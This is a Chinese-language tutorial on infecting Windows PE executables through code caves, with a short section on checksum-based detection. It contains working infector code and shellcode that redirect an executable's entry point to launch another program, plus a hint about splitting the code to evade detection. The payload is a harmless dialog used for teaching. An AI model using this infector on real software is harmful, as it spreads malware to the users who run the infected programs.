一、前言
现在很多网站都提供各式各样软件的下载,这就为黑客提供了植入病毒木马的良机。黑客可以将自己的恶意程序植入到正常的程序中,之后发布到网站上,这样当用户下载并运行了植入病毒的程序后,计算机就会中毒,而且病毒可能会接着感染计算机中的其他程序,甚至通过网络或者U盘,使得传播面积不断扩大。而本篇文章就来剖析病毒感染的实现原理,首先需要搜索正常程序中的缝隙用于“病毒”(用对话框模拟)的植入,之后感染目标程序以实现“病毒”的启动。当然,讨论完这些,我依旧会分析如何应对这种攻击方法,这才是本篇文章讨论的重点。
二、搜索程序中存在的缝隙。
病毒木马如果想对一个正常的程序写入代码,那么首先就必须要知道目标程序中是否有足够大的空间来让它把代码植入。一般来说,有两种方法,第一种就是增加一个节区,这样就有足够的空间来让病毒植入了,但是这样一来,不利于病毒的隐藏,如同告诉反病毒工程师“我就是病毒”一样,即便如此,我依旧会在后面的文章中讨论这种方法。第二种方法就是查找程序中存在的缝隙,然后再植入代码。因为在PE文件中,为了对齐,节与节之间必然存在未被使用的空间,这就是程序中存在的缝隙。只要恶意代码的长度不大于缝隙的长度,那么就可以将代码写入这个空间。这里讨论的就是这种方法的实现。
为了讨论的简单起见,我这里依旧使用在上一篇文章中所编写的ShellCode。和上一篇文章中所讨论的方法不同的是,上次是将ShellCode写入了密码文件,密码验证程序读取密码文件后,产生溢出,执行了ShellCode,然后再执行“病毒”程序。而这次是省去了中间环节,直接将ShellCode写入正常的程序中,运行程序就直接运行了“病毒”,这样就更加隐蔽,更容易被触发。提取出之前的ShellCode,并进行一定的修改,定义如下:
char shellcode[] = "\x33\xdb" //xor ebx,ebx "\x53" //push ebx "\x68\x2e\x65\x78\x65" //push 0x6578652e "\x68\x48\x61\x63\x6b" //push 0x6b636148 "\x8b\xc4" //mov eax,esp "\x53" //push ebx "\x50" //push eax "\xb8\x31\x32\x86\x7c" //mov eax,0x7c863231 "\xff\xd0" //call eax "\xb8\x90\x90\x90\x90" //mov eax,OEP "\xff\xe0\x90"; //jmp eax
这里需要说明的是,由于我们接下来要将程序的入口点修改为ShellCode的入口点,在ShellCode执行完后,又需要跳回原程序的入口点,因此在原始ShellCode的后面添加上了mov和jmp eax的指令。mov后面留有四个字节的空间,用于原始程序OEP的写入,下一步就是跳到原始程序去执行。由于原始ShellCode中包含有退出代码,所以也需要将调用ExitProcess的ShellCode代码去掉。
搜索程序中缝隙的代码如下:
DWORD SearchSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader) { PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader)); DWORD dwAddr = pSec->PointerToRawData+pSec->SizeOfRawData - sizeof(shellcode); dwAddr=(DWORD)(BYTE *)lpBase + dwAddr; //在内存中分配shellcode大小的空间,并以0进行填充 LPVOID lp = malloc(sizeof(shellcode)); memset(lp,0,sizeof(shellcode)); while(dwAddr > pSec->Misc.VirtualSize) { //查找长度与shellcode相同,且内容为00的空间 int nRet = memcmp((LPVOID)dwAddr,lp,sizeof(shellcode)); //如果存在这样的空间,那么memcmp的值为0,返回dwAddr if(nRet == 0) { return dwAddr; } //自减,不断反向查找 dwAddr--; } free(lp); return 0; }
上述代码是在代码的节区与紧挨着代码节区之后的节区的中间的位置进行搜索,从代码节区的末尾开始反向搜索。
三、将ShellCode植入目标程序
这里我们需要编写一个main函数来调用上面的函数,代码如下:
#include <windows.h> #define FILENAME "helloworld.exe" //欲“感染”的文件名 int main() { HANDLE hFile = NULL; HANDLE hMap = NULL; LPVOID lpBase = NULL; hFile = CreateFile(FILENAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0); lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0); PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase; PIMAGE_NT_HEADERS pNtHeader = NULL; //PE文件验证,判断e_magic是否为MZ if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return 0; } //根据e_lfanew来找到Signature标志位 pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew); //PE文件验证,判断Signature是否为MZ if(pNtHeader->Signature != IMAGE_NT_SIGNATURE) { UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return 0; } //搜索PE文件中的缝隙 DWORD dwAddr = SearchSpace(lpBase,pNtHeader); //寻找原程序入口地址,并拷贝到ShellCode中的相应位置(25至28字节处) DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint; *(DWORD *)&shellcode[25] = dwOep; //将ShellCode拷贝到上面所找到的缝隙 memcpy((char *)dwAddr,shellcode,strlen(shellcode)+3); dwAddr = dwAddr - (DWORD)(BYTE *)lpBase; //将ShellCode的入口地址拷贝给原程序 pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr; UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return 0; }
由于我需要把ShellCode植入可执行文件,只有可执行文件才能启动ShellCode,因此有必要提前对目标文件进行格式检测。而检测的方法,一般就是检测MZ与PE标志位是否存在。这里有一件事需要说明,就是在将ShellCode拷贝到缝隙中的那条语句中,使用了memcpy函数,它的第三个参数是strlen(shellcode)+3,这里之所以加上3,是因为strlen这个函数当遇到字符串中出现的\x00时,就会认为字符串已经结束,那么它的字符长度的计数就会停在\x00处。而一个程序的OEP往往是0x004XXXXX,小端显示,它的存储方式就是XXXXX400,在我的ShellCode中,由于00后面还剩下三个字节(\xff\xe0\x90),但是被00所截断了,导致这最后的三个字节不被strlen认可,因此需要再加上3。
四、程序的“感染”
为了测试我们的“感染”程序,在此我再编写一个HelloWorld程序,代码如下:
#include <stdio.h> int main() { printf(“Hello world!\n”); getchar(); return 0; }
将上述代码编译链接后生成的helloworld.exe程序放到和“感染”程序同一目录下,执行“感染”程序,然后用十六进制编辑软件打开helloworld.exe,可以发现我们的代码已经植入,如下如所示:
图1 用Hex Editor查看植入代码
再用OllyDbg查看植入代码:
图2 用OllyDbg查看植入代码
使用OD载入程序,就直接来到了我们所植入的ShellCode的地址,可见程序的原始OEP已经被修改了。而在ShellCode的最后,又会跳到程序的原始入口点,继续执行原始程序。利用PEiD也能明显地看到“感染”前后的不同:
图3 被“感染”前
图4 被“感染”后
此时我们就可以确定,helloworld.exe已经被“感染”了,为了验证“被感染”程序是否能够启动我们的对话框程序,需要将Hack.exe(注意这里改了名字)放到与helloworld.exe的同一目录下,然后执行helloworld.exe,如下图所示:
图5 运行“被感染”的程序
可见,用于模拟病毒的提示对话框以及helloworld.exe自身的程序都得到了运行,这也说明了“感染”是成功的。
这里是直接将程序的入口点修改为我们的ShellCode的入口地址,其实这是不利于“病毒”的隐藏的,为了起到迷惑的作用,可以将ShellCode程序植入到helloworld的代码中,甚至将ShellCode拆分为几个部分再植入,这样就很难被发现了,这里就不再详细讨论。
五、防范方法的讨论
由于恶意程序的这种“感染”方法是在程序的缝隙将自身代码植入,因此它是不会对原始程序的大小产生任何改变的,当然也是由于我所举的这个例子比较简单,ShellCode也比较短的缘故。这或多或少也实现了病毒的隐藏,不过防范的方法还是有的。一般来说,软件公司都会对自己的软件产品进行校验,比如运用MD5、Sha-1或者CRC32等。校验的结果是唯一的,也就是说,即便原始程序改动很小(如这次仅仅修改了32个字节的内容),那么校验的结果也会很不相同。很多安全类软件都能够提供校验的功能,而校验也总被运用在手工查杀病毒中,因为黑客往往会对系统中的svchost.exe或者一些DLL文件做手脚,而这样的一些重要文件,官方都会给出真正的校验值,那么对比一下就能够很容易发现这些文件是否被篡改过了。回到上面的helloworld.exe,在“感染”前后,用火眼进行校验检测:
图6 “感染”前
图7 “感染”后
这里的建议是多采用几种校验方式进行校验,因为像MD5这种校验方式有可能会被做手脚,使得“感染”前后的结果可能是一样的,而目前的技术还无法使在修改了原始文件的前提下,所有校验方式的校验结果不变。所以善于利用校验的方式,可以使自己的计算机免受很多的威胁。
针对于这种攻击方式,我这次并不打算写出专杀工具,毕竟依靠之前的专杀工具就足够了。而对于文件被“感染”,去除感染是一件比较麻烦的事情,在这里先不进行讨论。以后的文章中可能会专门论述这个问题。
六、小结
这次简单讨论了一下利用PE结构中的缝隙实现ShellCode的植入。在我看来,PE知识是许多高级技术的基础,是必须要掌握的。以后的文章,会从更多的角度来讲解利用PE格式实现“病毒”的攻击与防范。再次强调的是,我在这里讨论的目的是为了让大家了解更多的计算机安全的知识,而不应将这些运用于歪门邪道。我所讲的这些方法,是无法通过杀软的检验的,即便是这次被感染的程序,“火眼”依旧将其列为重点怀疑对象。所以不应为了一时之快,而做出让自己后悔的举动。